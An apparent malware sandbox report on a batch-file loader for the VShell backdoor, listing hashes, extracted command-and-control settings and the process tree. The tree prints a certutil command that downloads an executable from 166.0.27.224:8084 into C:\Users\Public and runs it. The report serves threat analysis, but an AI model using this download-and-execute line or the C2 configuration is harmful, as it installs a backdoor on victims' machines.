Analysis
- max time kernel
148s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
27/08/2026, 12:30
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
8 signatures
150 seconds
General
- Target windows.bat
- Size 493B
- Sample260827-ppv8mavckc
- SHA256 ae577259aef4ed9a16973ea4f1f10ddae9167e1841a8662f87426c0dac75d2dd
- MD5 1de3533961046c865fcf53fc768da7d0
- SHA1 a1c88f7a5611655d35cd2b85c636dd42860f76bf
- SHA512 d97d58ef60ada5b2820ea624d9ef1da47de06e437061be136dc599e826d25046b320276715f62742da9bc9b8602ed78147c7f05652abe443b08d00319cb6c191
- TLSH T1D1F0D4CD602A0D710FC6DC13344174D1F18B90C08AB1F558795561DD4DC559A19FFED2
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
ws://166.0.27.224
Attributes
-
port
8084
-
salt
qwe123qwe
-
type
ws
-
vkey
qwe123qwe
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/5852-7-0x0000000067D40000-0x0000000068534000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 4 2952 certutil.exe 6 2952 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 5852 cd5addd8ws.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1052 cmd.exe 1976 cmd.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 4692 WMIC.exe 4692 WMIC.exe 4692 WMIC.exe 4692 WMIC.exe 5852 cd5addd8ws.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4692 WMIC.exe Token: SeSecurityPrivilege 4692 WMIC.exe Token: SeTakeOwnershipPrivilege 4692 WMIC.exe Token: SeLoadDriverPrivilege 4692 WMIC.exe Token: SeSystemProfilePrivilege 4692 WMIC.exe Token: SeSystemtimePrivilege 4692 WMIC.exe Token: SeProfSingleProcessPrivilege 4692 WMIC.exe Token: SeIncBasePriorityPrivilege 4692 WMIC.exe Token: SeCreatePagefilePrivilege 4692 WMIC.exe Token: SeBackupPrivilege 4692 WMIC.exe Token: SeRestorePrivilege 4692 WMIC.exe Token: SeShutdownPrivilege 4692 WMIC.exe Token: SeDebugPrivilege 4692 WMIC.exe Token: SeSystemEnvironmentPrivilege 4692 WMIC.exe Token: SeRemoteShutdownPrivilege 4692 WMIC.exe Token: SeUndockPrivilege 4692 WMIC.exe Token: SeManageVolumePrivilege 4692 WMIC.exe Token: 33 4692 WMIC.exe Token: 34 4692 WMIC.exe Token: 35 4692 WMIC.exe Token: 36 4692 WMIC.exe Token: SeIncreaseQuotaPrivilege 4692 WMIC.exe Token: SeSecurityPrivilege 4692 WMIC.exe Token: SeTakeOwnershipPrivilege 4692 WMIC.exe Token: SeLoadDriverPrivilege 4692 WMIC.exe Token: SeSystemProfilePrivilege 4692 WMIC.exe Token: SeSystemtimePrivilege 4692 WMIC.exe Token: SeProfSingleProcessPrivilege 4692 WMIC.exe Token: SeIncBasePriorityPrivilege 4692 WMIC.exe Token: SeCreatePagefilePrivilege 4692 WMIC.exe Token: SeBackupPrivilege 4692 WMIC.exe Token: SeRestorePrivilege 4692 WMIC.exe Token: SeShutdownPrivilege 4692 WMIC.exe Token: SeDebugPrivilege 4692 WMIC.exe Token: SeSystemEnvironmentPrivilege 4692 WMIC.exe Token: SeRemoteShutdownPrivilege 4692 WMIC.exe Token: SeUndockPrivilege 4692 WMIC.exe Token: SeManageVolumePrivilege 4692 WMIC.exe Token: 33 4692 WMIC.exe Token: 34 4692 WMIC.exe Token: 35 4692 WMIC.exe Token: 36 4692 WMIC.exe Token: SeDebugPrivilege 5852 cd5addd8ws.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 1052 wrote to memory of 1976 1052 cmd.exe 90 PID 1976 wrote to memory of 4692 1976 cmd.exe 91 PID 1976 wrote to memory of 4236 1976 cmd.exe 92 PID 1052 wrote to memory of 2952 1052 cmd.exe 94 PID 1052 wrote to memory of 5852 1052 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1052 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1976 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4692
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:4236
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://166.0.27.224:8084/?h=166.0.27.224&p=8084&t=ws&a=w64&stage=true" "C:\Users\Public\cd5addd8ws.exe"2⤵
- Downloads MZ/PE file
PID:2952
-
-
C:\Users\Public\cd5addd8ws.exe"C:\Users\Public\cd5addd8ws.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5852
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\cd5addd8ws.exe
- Size 4KB
- SHA256 9e8c9dfc881ce4185f7b3255faf7324042fbe04629c68ea1edd4de3a5a61b213
- MD5 b3ff35ded0a1d1658e9afe221e0e6d67
- SHA1 7ff909ed6442033c59ca925d6578ffd1bb554a52
- SHA512 15659212e7aa434a0ff3cfcdbbd4d6697b5c6c6cb7fc0f7fd1fa22fc602f2c455a55084ddf12f897e00911aafcb8ccea4a178ae1b75ce0a9517480f1d0bfdf28
- SSDEEP 48:6IIF9BlQaexUgZS7An0cF5uduvxRxUjbON9XM/ge93ahr0/:y9BOaMd70cF50uDxUOvXeg
- TLSH T19491C64170B999E7E85C81BB4C0FB8A0B919740A41C483B70378A5993E3A57BF47CB0E
- MD5 SHA1 SHA512 SSDEEP TLSH